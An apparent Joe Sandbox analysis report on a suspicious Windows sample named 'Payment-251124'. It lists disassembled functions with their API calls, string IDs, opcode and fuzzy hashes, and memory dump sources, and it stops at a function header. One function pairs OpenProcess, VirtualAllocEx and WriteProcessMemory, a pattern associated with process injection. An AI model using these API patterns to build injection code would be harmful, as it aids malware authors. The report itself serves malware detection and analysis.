                                                        • String ID:
                                                        • API String ID: 2625713937-0
                                                        • Opcode ID: 9ad1b7eae84629f98a3176793cf509bc532cc85ec021ad55ee974f19e129c091
                                                        • Instruction ID: 267e18a3c0c18421407c2f16bf8589b7d107c66070658157c2c684db34834506
                                                        • Opcode Fuzzy Hash: 9ad1b7eae84629f98a3176793cf509bc532cc85ec021ad55ee974f19e129c091
                                                        • Instruction Fuzzy Hash: 17F0193400024CEFDB219F69EC0C7A53B68FB117A6F189315E8A5551F0E7318997EF10
                                                        Function 00F0F23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CoInitialize.OLE32(00000000), ref: 00F0F2DA
                                                        • CoCreateInstance.OLE32(00F4DA7C,00000000,00000001,00F4D8EC,?), ref: 00F0F2F2
                                                        • CoUninitialize.OLE32 ref: 00F0F555
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateInitializeInstanceUninitialize
                                                        • String ID: .lnk
                                                        • API String ID: 948891078-24824748
                                                        • Opcode ID: 79c0f8ba6c0f02b464c2e4ac6e7675aaf27937ede2e4230526699747f921d4b2
                                                        • Instruction ID: da1651f8d939d68d963ac385349cd768f7c5a6fa58d7b3246874ee084c103ced
                                                        • Opcode Fuzzy Hash: 79c0f8ba6c0f02b464c2e4ac6e7675aaf27937ede2e4230526699747f921d4b2
                                                        • Instruction Fuzzy Hash: 78A14C71104201AFD300EF64CC91EAFB7E8EF98714F00595DF559A7292EB71EA4ACB52
                                                        Function 00F0E7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC53B1,?,?,00EC61FF,?,00000000,00000001,00000000), ref: 00EC662F
                                                        • CoInitialize.OLE32(00000000), ref: 00F0E85D
                                                        • CoCreateInstance.OLE32(00F4DA7C,00000000,00000001,00F4D8EC,?), ref: 00F0E876
                                                        • CoUninitialize.OLE32 ref: 00F0E893
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                        • String ID: .lnk
                                                        • API String ID: 2126378814-24824748
                                                        • Opcode ID: 24b753e3cba72a06474195f63a486c970e2555d6a468fe638a19bf3952e240bb
                                                        • Instruction ID: 149e6e2bb73675ebbf0775450777aaf591786fb1db29715e8be02db9f09b3f67
                                                        • Opcode Fuzzy Hash: 24b753e3cba72a06474195f63a486c970e2555d6a468fe638a19bf3952e240bb
                                                        • Instruction Fuzzy Hash: E6A126356043019FCB14DF14C584E5ABBE5BF89320F14895DF995AB3A2CB32EC46DB91
                                                        Function 00EE325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __startOneArgErrorHandling.LIBCMT ref: 00EE32ED
                                                          • Part of subcall function 00EEE0D0: __87except.LIBCMT ref: 00EEE10B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorHandling__87except__start
                                                        • String ID: pow
                                                        • API String ID: 2905807303-2276729525
                                                        • Opcode ID: b6c8552006f43364e460b9dee7075ac529e8387206f0b1d39dae2e30aa7d02ab
                                                        • Instruction ID: b0607cb5656eaa0017c9b5f485f204b2ff94aecfa0177b9f1a2185ea02cc75cd
                                                        • Opcode Fuzzy Hash: b6c8552006f43364e460b9dee7075ac529e8387206f0b1d39dae2e30aa7d02ab
                                                        • Instruction Fuzzy Hash: 5D518C31A0928D92CB157B36C9057BA3BD49B45715F20BD28F1D5A33F9EF348DC8A642
                                                        Function 00F04606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,00F5DC50,?,0000000F,0000000C,00000016,00F5DC50,?), ref: 00F04645
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • CharUpperBuffW.USER32(?,?,00000000,?), ref: 00F046C5
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharUpper$__itow__swprintf
                                                        • String ID: REMOVE$THIS
                                                        • API String ID: 3797816924-776492005
                                                        • Opcode ID: 01978ef85a1803bd32e33f586e93656a2add85644bbd85f1d49697a92d439f1c
                                                        • Instruction ID: c80515c3fc9ee5bf7b252be5dce08dc5800d53b46cf7e5904eb11bdb1c2a3db7
                                                        • Opcode Fuzzy Hash: 01978ef85a1803bd32e33f586e93656a2add85644bbd85f1d49697a92d439f1c
                                                        • Instruction Fuzzy Hash: 4B418075A002099FCF00DF54C985AADB7F4FF45314F148069EA16AB392DB35ED42EB50
                                                        Function 00EFC189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F0430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00EFBC08,?,?,00000034,00000800,?,00000034), ref: 00F04335
                                                        • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00EFC1D3
                                                          • Part of subcall function 00F042D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00EFBC37,?,?,00000800,?,00001073,00000000,?,?), ref: 00F04300
                                                          • Part of subcall function 00F0422F: GetWindowThreadProcessId.USER32(?,?), ref: 00F0425A
                                                          • Part of subcall function 00F0422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00EFBBCC,00000034,?,?,00001004,00000000,00000000), ref: 00F0426A
                                                          • Part of subcall function 00F0422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00EFBBCC,00000034,?,?,00001004,00000000,00000000), ref: 00F04280
                                                        • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00EFC240
                                                        • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00EFC28D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                        • String ID: @
                                                        • API String ID: 4150878124-2766056989
                                                        • Opcode ID: 17fbbce9a5debf5e2e2b0e69043b4f837cb61126f74777dc29ab224b19b8ad72
                                                        • Instruction ID: 01b88922035170b890ec0719c95a03b3043d852c0887eada415cb4566fbb6b2a
                                                        • Opcode Fuzzy Hash: 17fbbce9a5debf5e2e2b0e69043b4f837cb61126f74777dc29ab224b19b8ad72
                                                        • Instruction Fuzzy Hash: 204139B6A0021CAFDB10DFA4CD81AEEB7B8EF09300F104099FA45B7191DA757E45EB61
                                                        Function 00F2A63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00F5DC00,00000000,?,?,?,?), ref: 00F2A6D8
                                                        • GetWindowLongW.USER32 ref: 00F2A6F5
                                                        • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00F2A705
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$Long
                                                        • String ID: SysTreeView32
                                                        • API String ID: 847901565-1698111956
                                                        • Opcode ID: 2449a60458cbf7f308fd204c4df7a7b418e2d75ba3f9baa0156bb1a7c6eac1de
                                                        • Instruction ID: 7a17d39c49ec64e4ab52f12a4ca63932671af2b309e545cf16bdd0550f5cb09c
                                                        • Opcode Fuzzy Hash: 2449a60458cbf7f308fd204c4df7a7b418e2d75ba3f9baa0156bb1a7c6eac1de
                                                        • Instruction Fuzzy Hash: 5D31E131601219AFDB118F38DC45BEA7BA9FB49334F244325F975A32E0D730E851AB54
                                                        Function 00F2A0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00F2A15E
                                                        • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00F2A172
                                                        • SendMessageW.USER32(?,00001002,00000000,?), ref: 00F2A196
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window
                                                        • String ID: SysMonthCal32
                                                        • API String ID: 2326795674-1439706946
                                                        • Opcode ID: d9e20da176bbad929fa6b3b3765762579bcb532810c17569507e24758d888b7c
                                                        • Instruction ID: c2c7fd0605fb6f99369d467d0d39b4cb75f1b9aced0c7269df16f9a17e75111e
                                                        • Opcode Fuzzy Hash: d9e20da176bbad929fa6b3b3765762579bcb532810c17569507e24758d888b7c
                                                        • Instruction Fuzzy Hash: AD219F32510228BBDF158F94DC42FEA3B79EF48724F110214FE556B1D0D6B5AC61EB90
                                                        Function 00F2A88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00F2A941
                                                        • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00F2A94F
                                                        • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00F2A956
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$DestroyWindow
                                                        • String ID: msctls_updown32
                                                        • API String ID: 4014797782-2298589950
                                                        • Opcode ID: 214b96b01c4f89b9b915f582e8b7d9c9cf5a2aae9da64b68669f832a183d0e63
                                                        • Instruction ID: 528deed1e525a1491013011079fdd4956a22fb45b31bd6f0cf671b3319e1a3b4
                                                        • Opcode Fuzzy Hash: 214b96b01c4f89b9b915f582e8b7d9c9cf5a2aae9da64b68669f832a183d0e63
                                                        • Instruction Fuzzy Hash: 3F21CFB5600219AFDB00DF28DC91DB737ACEF5A3A4B050159FA049B3A1DB30EC52EB61
                                                        Function 00F299A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00F29A30
                                                        • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00F29A40
                                                        • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00F29A65
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$MoveWindow
                                                        • String ID: Listbox
                                                        • API String ID: 3315199576-2633736733
                                                        • Opcode ID: 1d481cc3f8b7b277fbf6cd37bb281b388c45d580db767e37c1b13ce7c488b00f
                                                        • Instruction ID: 8266ece6c0b41d999f425a982c7a7e26573ee3bf223c7fccc5875f2d32402672
                                                        • Opcode Fuzzy Hash: 1d481cc3f8b7b277fbf6cd37bb281b388c45d580db767e37c1b13ce7c488b00f
                                                        • Instruction Fuzzy Hash: AE21F532A04128BFDF118F54DC85FBB3BAAEF8A760F018129F94457190C6B59C51ABA0
                                                        Function 00F2A409 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00F2A46D
                                                        • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00F2A482
                                                        • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00F2A48F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: msctls_trackbar32
                                                        • API String ID: 3850602802-1010561917
                                                        • Opcode ID: ee6bec7fda1e9aec81dfb5187030d884216079c3b394b8c3e264bf3874c6f0d9
                                                        • Instruction ID: a01db15dc7387ed2765475bb41094252c55f1b28b47d563e88e78eb5562c8983
                                                        • Opcode Fuzzy Hash: ee6bec7fda1e9aec81dfb5187030d884216079c3b394b8c3e264bf3874c6f0d9
                                                        • Instruction Fuzzy Hash: 6511E771600218BFEF209F64DC45FAB37A9EF89764F114218FA45A60A1D2B1E811E720
                                                        Function 00EE2287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00EE2350,?), ref: 00EE22A1
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00EE22A8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: RoInitialize$combase.dll
                                                        • API String ID: 2574300362-340411864
                                                        • Opcode ID: e87325dc94474d51c402455be494459e05a74ba5b7aaf04bcaf356b49a1d6524
                                                        • Instruction ID: 0562ec349b602c2dfea56fbcce7504988aab545c099bf88aea494add9d5e0f0d
                                                        • Opcode Fuzzy Hash: e87325dc94474d51c402455be494459e05a74ba5b7aaf04bcaf356b49a1d6524
                                                        • Instruction Fuzzy Hash: 13E01A74690708ABDB905F71EC4EB6A3A68BB5571AF414424F602E50B0DFB98088FF05
                                                        Function 00EE235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00EE2276), ref: 00EE2376
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00EE237D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: RoUninitialize$combase.dll
                                                        • API String ID: 2574300362-2819208100
                                                        • Opcode ID: aa5a655daf668c14a2c96854cae34fe12a0c9a9474d63dbcb7db7807251be550
                                                        • Instruction ID: 71c662e4befc18476de9a9b9e97596b814a8a20ace5c364735b949b18affda8a
                                                        • Opcode Fuzzy Hash: aa5a655daf668c14a2c96854cae34fe12a0c9a9474d63dbcb7db7807251be550
                                                        • Instruction Fuzzy Hash: 0CE08C70244B0CAFDB615F21EC0DB653A6AB750B16F010418FA0DE20B0CFB88058FF02
                                                        Function 00F3AC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LocalTime__swprintf
                                                        • String ID: %.3d$WIN_XPe
                                                        • API String ID: 2070861257-2409531811
                                                        • Opcode ID: fa505a2ff73cabe893d6d34c77f6d1223b1b058ca298374d0a694a906bb01ecf
                                                        • Instruction ID: d75641ed44f8441310779f30444936fd3e113933c03c6377098289339b991faa
                                                        • Opcode Fuzzy Hash: fa505a2ff73cabe893d6d34c77f6d1223b1b058ca298374d0a694a906bb01ecf
                                                        • Instruction Fuzzy Hash: 7AE0ECB280461C9BCA1097518D05AF973BCA704791F1020D3F946A1100D675DB95FA23
                                                        Function 00EC42F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(kernel32.dll,00000000,00EC42EC,?,00EC42AA,?), ref: 00EC4304
                                                        • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00EC4316
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                        • API String ID: 2574300362-1355242751
                                                        • Opcode ID: 73f7752026ae66359ba16525471c5b3ada6aef9e29d97d53ae0066cc51e2717a
                                                        • Instruction ID: b5df4cc758a9d42b7582d1ddb510e08819dbb9248b686ec2238dcbf3647f259f
                                                        • Opcode Fuzzy Hash: 73f7752026ae66359ba16525471c5b3ada6aef9e29d97d53ae0066cc51e2717a
                                                        • Instruction Fuzzy Hash: 07D0A7B4500B12EFE7204F24EC0CB0176E4AB55309B00841EFD45E21A0D7B0C880D711
                                                        Function 00F22205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(kernel32.dll,?,00F221FB,?,00F223EF), ref: 00F22213
                                                        • GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00F22225
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: GetProcessId$kernel32.dll
                                                        • API String ID: 2574300362-399901964
                                                        • Opcode ID: a490f0138c6ba8220713da99837ff072296514eb33a5b7713c8d17b9f7e98f02
                                                        • Instruction ID: f53ca8f77c19a0a5961560e8ece480ec97d7ae2c366ab6a7fde9b1ae5790fa11
                                                        • Opcode Fuzzy Hash: a490f0138c6ba8220713da99837ff072296514eb33a5b7713c8d17b9f7e98f02
                                                        • Instruction Fuzzy Hash: 69D0A738900726EFE7614F30F80860176D4EB15314B00841AEC45E2190E771D880FB51
                                                        Function 00EC434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
